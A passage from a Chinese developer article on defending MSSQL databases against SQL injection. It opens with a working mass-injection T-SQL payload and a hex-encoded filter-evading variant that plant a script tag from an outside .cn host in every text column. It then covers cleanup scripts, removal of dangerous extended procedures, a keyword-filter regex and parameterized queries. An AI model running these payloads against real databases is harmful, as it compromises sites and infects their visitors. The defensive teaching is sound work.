Declare @T Varchar(255),@C Varchar(255) Declare Table_Cursor Cursor For Select A.Name,B.Name From SysobjectsA,Syscolumns B Where A.Id=B.Id And A.Xtype=\’u\’ And (B.Xtype=99 Or B.Xtype=35 Or B.Xtype=231 Or B.Xtype=167) Open Table_Cursor Fetch Next From Table_Cursor Into @T,@C While(@@Fetch_Status=0) Begin Exec(\’update [\’+@T+\’] Set [\’+@C+\’]=Rtrim(Convert(Varchar(8000),[\’+@C+\’]))+\’\'<script src=http://8f8el3l.cn/0.js></script>\’\’\’) Fetch Next From Table_Cursor Into @T,@C End Close Table_Cursor DeallocateTable_Cursor
b) 更高级的攻击,将上面的注入SQL进行“HEX编码”,从而避免程序的关键字检查、脚本转义等,通过EXEC执行
复制代码
代码如下:
dEcLaRe @s vArChAr(8000) sEt @s=0x4465636c617265204054205661726368617228323535292c4043205661726368617228323535290d0a4465636c617265205461626c655f437572736f7220437572736f7220466f722053656c65637420412e4e616d652c422e4e616d652046726f6d205379736f626a6563747320412c537973636f6c756d6e73204220576865726520412e49643d422e496420416e6420412e58747970653d27752720416e642028422e58747970653d3939204f7220422e58747970653d3335204f7220422e58747970653d323331204f7220422e58747970653d31363729204f70656e205461626c655f437572736f72204665746368204e6578742046726f6d20205461626c655f437572736f7220496e746f2040542c4043205768696c6528404046657463685f5374617475733d302920426567696e20457865632827757064617465205b272b40542b275d20536574205b272b40432b275d3d527472696d28436f6e7665727428566172636861722838303030292c5b272b40432b275d29292b27273c736372697074207372633d687474703a2f2f386638656c336c2e636e2f302e6a733e3c2f7363726970743e272727294665746368204e6578742046726f6d20205461626c655f437572736f7220496e746f2040542c404320456e6420436c6f7365205461626c655f437572736f72204465616c6c6f63617465205461626c655f437572736f72; eXeC(@s);–
c) 批次删除数据库被注入的脚本
复制代码
代码如下:
declare @delStrnvarchar(500) set @delStr=\'<script src=http://8f8el3l.cn/0.js></script>\’ –要被替换掉字符 setnocount on declare @tableNamenvarchar(100),@columnNamenvarchar(100),@tbIDint,@iRowint,@iResultint declare @sqlnvarchar(500) set @iResult=0 declare cur cursor for selectname,id from sysobjects where xtype=\’U\’ open cur fetch next from cur into @tableName,@tbID while @@fetch_status=0 begin declare cur1 cursor for –xtype in (231,167,239,175) 为char,varchar,nchar,nvarchar类型 select name from syscolumns where xtype in (231,167,239,175) and id=@tbID open cur1 fetch next from cur1 into @columnName while @@fetch_status=0 begin set @sql=\’update [\’ + @tableName + \’] set [\’+ @columnName +\’]= replace([\’+@columnName+\’],\’\’\’+@delStr+\’\’\’,\’\’\’\’) where [\’+@columnName+\’] like \’\’%\’+@delStr+\’%\’\’\’ execsp_executesql @sql set @iRow=@@rowcount set @iResult=@iResult+@iRow if @iRow>0 begin print \’表:\’+@tableName+\’,列:\’+@columnName+\’被更新\’+convert(varchar(10),@iRow)+\’条记录;\’ end fetch next from cur1 into @columnName end close cur1 deallocate cur1 fetch next from cur into @tableName,@tbID end print \’数据库共有\’+convert(varchar(10),@iResult)+\’条记录被更新!!!\’ close cur deallocate cur setnocount off
不过依然可以通过sp_addextendedproc来恢复,因此最好删除或改名xplog70.dll(sql server 2000、windows7)
xpsql70.dll(sqlserer 7.0)
xp_fileexist
用来确定一个文件是否存在
xp_getfiledetails
可以获得文件详细资料
xp_dirtree
可以展开你需要了解的目录,获得所有目录深度
Xp_getnetname
可以获得服务器名称
Xp_regaddmultistring
Xp_regdeletekey
Xp_regdeletevalue
Xp_regenumvalues
Xp_regread
Xp_regremovemultistring
Xp_regwrite
可以访问注册表的存储过程
Sp_OACreate
Sp_OADestroy
Sp_OAGetErrorInfo
Sp_OAGetProperty
Sp_OAMethod
Sp_OASetPropertySp_OAStop
如果你不需要请丢弃OLE自动存储过程
4. 非参数化SQL与参数化SQL 1) 非参数化(动态拼接SQL) a) 检查客户端脚本:若使用.net,直接用System.Net.WebUtility.HtmlEncode(string)将输入值中包含的《HTML特殊转义字符》转换掉。 b) 类型检查:对接收数据有明确要求的,在方法内进行类型验证。如数值型用int.TryParse(),日期型用DateTime.TryParse() ,只能用英文或数字等。 c) 长度验证:要进行必要的注入,其语句也是有长度的。所以如果你原本只允许输入10字符,那么严格控制10个字符长度,一些注入语句就没办法进行。 d) 使用枚举:如果只有有限的几个值,就用枚举。 e) 关键字过滤:这个门槛比较高,因为各个数据库存在关键字,内置函数的差异,所以对编写此函数的功底要求较高。如公司或个人有积累一个比较好的通用过滤函数还请留言分享下,学习学习,谢谢! 这边提供一个关键字过滤参考方案(MSSQL):
复制代码
代码如下:
public static bool ValiParms(string parms) { if (parms == null) { return false; } Regex regex = new Regex(\”sp_\”, RegexOptions.IgnoreCase); Regex regex2 = new Regex(\”\’\”, RegexOptions.IgnoreCase); Regex regex3 = new Regex(\”create \”, RegexOptions.IgnoreCase); Regex regex4 = new Regex(\”drop \”, RegexOptions.IgnoreCase); Regex regex5 = new Regex(\”select \”, RegexOptions.IgnoreCase); Regex regex6 = new Regex(\”\\\”\”, RegexOptions.IgnoreCase); Regex regex7 = new Regex(\”exec \”, RegexOptions.IgnoreCase); Regex regex8 = new Regex(\”xp_\”, RegexOptions.IgnoreCase); Regex regex9 = new Regex(\”insert \”, RegexOptions.IgnoreCase); Regex regex10 = new Regex(\”update \”, RegexOptions.IgnoreCase); return (regex.IsMatch(parms) || (regex2.IsMatch(parms) || (regex3.IsMatch(parms) || (regex4.IsMatch(parms) || (regex5.IsMatch(parms) || (regex6.IsMatch(parms) || (regex7.IsMatch(parms) || (regex8.IsMatch(parms) || (regex9.IsMatch(parms) || regex10.IsMatch(parms)))))))))); }
优点:写法相对简单,网络传输量相对参数化拼接SQL小 缺点: a) 对于关键字过滤,常常“顾此失彼”,如漏掉关键字,系统函数,对于HEX编码的SQL语句没办法识别等等,并且需要针对各个数据库封装函数。 b) 无法满足需求:用户本来就想发表包含这些过滤字符的数据。 c) 执行拼接的SQL浪费大量缓存空间来存储只用一次的查询计划。服务器的物理内存有限,SQLServer的缓存空间也有限。有限的空间应该被充分利用。 2) 参数化查询(Parameterized Query) a) 检查客户端脚本,类型检查,长度验证,使用枚举,明确的关键字过滤这些操作也是需要的。他们能尽早检查出数据的有效性。 b) 参数化查询原理:在使用参数化查询的情况下,数据库服务器不会将参数的内容视为SQL指令的一部份来处理,而是在数据库完成 SQL 指令的编译后,才套用参数运行,因此就算参数中含有具有损的指令,也不会被数据库所运行。 c) 所以在实际开发中,入口处的安全检查是必要的,参数化查询应作为最后一道安全防线。 优点: Ø 防止SQL注入(使单引号、分号、注释符、xp_扩展函数、拼接SQL语句、EXEC、SELECT、UPDATE、DELETE等SQL指令无效化) Ø 参数化查询能强制执行类型和长度检查。 Ø 在MSSQL中生成并重用查询计划,从而提高查询效率(执行一条SQL语句,其生成查询计划将消耗大于50%的时间) 缺点: Ø 不是所有数据库都支持参数化查询。目前Access、SQL Server、MySQL、SQLite、Oracle等常用数据库支持参数化查询。 疑问:参数化如何“批量更新”数据库。 a) 通过在参数名上增加一个计数来区分开多个参数化语句拼接中的同名参数。 EG:
复制代码
代码如下:
StringBuilder sqlBuilder=new StringBuilder(512); Int count=0; For(循环) { sqlBuilder.AppendFormat(“UPDATE login SET password=@password{0} WHERE username=@userName{0}”,count.ToString()); SqlParameter para=new SqlParamter(){ParameterName=@password+count.ToString()} …… Count++; }
b) 通过MSSQL 2008的新特性:表值参数,将C#中的整个表当参数传递给存储过程,由SQL做逻辑处理。注意C#中参数设置parameter.SqlDbType = System.Data.SqlDbType.Structured; 详细请查看…… 疑虑:有部份的开发人员可能会认为使用参数化查询,会让程序更不好维护,或者在实现部份功能上会非常不便,然而,使用参数化查询造成的额外开发成本,通常都远低于因为SQL注入攻击漏洞被发现而遭受攻击,所造成的重大损失。 另外:想验证重用查询计划的同学,可以使用下面两段辅助语法
复制代码
代码如下:
–清空缓存的查询计划 DBCC FREEPROCCACHE GO –查询缓存的查询计划 SELECT stats.execution_count AS cnt, p.size_in_bytes AS [size], [sql].[text] AS [plan_text] FROM sys.dm_exec_cached_plans p OUTER APPLY sys.dm_exec_sql_text (p.plan_handle) sql JOIN sys.dm_exec_query_stats stats ON stats.plan_handle = p.plan_handle GO
3) 参数化查询示例
效果如图:
参数化关键代码:
复制代码
代码如下:
Private bool ProtectLogin(string userName, string password) { SqlParameter[] parameters = new SqlParameter[] { new SqlParameter{ParameterName=\”@UserName\”,SqlDbType=SqlDbType.NVarChar,Size=10,Value=userName}, new SqlParameter{ParameterName=\”@Password\”,SqlDbType=SqlDbType.VarChar,Size=20,Value=password} }; int count = (int)SqlHelper.Instance.ExecuteScalar (\”SELECT COUNT(*) FROM Login WHERE UserName=@UserName AND Password=@password\”, parameters); return count > 0 ? true : false; }
5. 存储过程 存储过程(Stored Procedure)是在大型数据库系统中,一组为了完成特定功能的SQL 语句集,经编译后存储在数据库中,用户通过指定存储过程的名字并给出参数(如果该存储过程带有参数)来执行它。 优点: a) 安全性高,防止SQL注入并且可设定只有某些用户才能使用指定存储过程。 b) 在创建时进行预编译,后续的调用不需再重新编译。 c) 可以降低网络的通信量。存储过程方案中用传递存储过程名来代替SQL语句。 缺点: a) 非应用程序内联代码,调式麻烦。 b) 修改麻烦,因为要不断的切换开发工具。(不过也有好的一面,一些易变动的规则做到存储过程中,如变动就不需要重新编译应用程序) c) 如果在一个程序系统中大量的使用存储过程,到程序交付使用的时候随着用户需求的增加会导致数据结构的变化,接着就是系统的相关问题了,最后如果用户想维护该系统可以说是很难很难(eg:没有VS的查询功能)。 演示请下载示例程序,关键代码为:
CREATE PROCEDURE PROC_Login_executesql( @userNamenvarchar(10), @password nvarchar(10), @count int OUTPUT ) AS BEGIN DECLARE @s nvarchar(1000); set @s=N\’SELECT @count=COUNT(*) FROM Login WHERE UserName=@userName AND Password=@password\’; EXEC sp_executesql @s,N\’@userNamenvarchar(10),@password nvarchar(10),@count int output\’,@userName=@userName,@password=@password,@count=@count output END
b) EXECUTE(注意sql中拼接字符,对于字符参数需要额外包一层单引号,需要输入两个单引号来标识sql中的一个单引号)
复制代码
代码如下:
CREATE PROCEDURE PROC_Login_EXEC( @userNamenvarchar(10), @password varchar(20) ) AS BEGIN DECLARE @s nvarchar(1000); set @s=\’SELECT @count=COUNT(*) FROM Login WHERE UserName=\’\’\’+CAST(@userName AS NVARCHAR(10))+\’\’\’ AND Password=\’\’\’+CAST(@password AS VARCHAR(20))+\’\’\’\’; EXEC(\’DECLARE @count int;\’ +@s+\’select @count\’); END
在模糊查询LIKE中,对于输入数据中的通配符必须转义,否则会造成客户想查询包含这些特殊字符的数据时,这些特殊字符却被解析为通配符。不与 LIKE 一同使用的通配符将解释为常量而非模式。 注意使用通配符的索引性能问题: a) like的第一个字符是\’%\’或\’_\’时,为未知字符不会使用索引, sql会遍历全表。 b) 若通配符放在已知字符后面,会使用索引。 网上有这样的说法,不过我在MSSQL中使用 ctrl+L 执行语法查看索引使用情况却都没有使用索引,可能在别的数据库中会使用到索引吧…… 截图如下: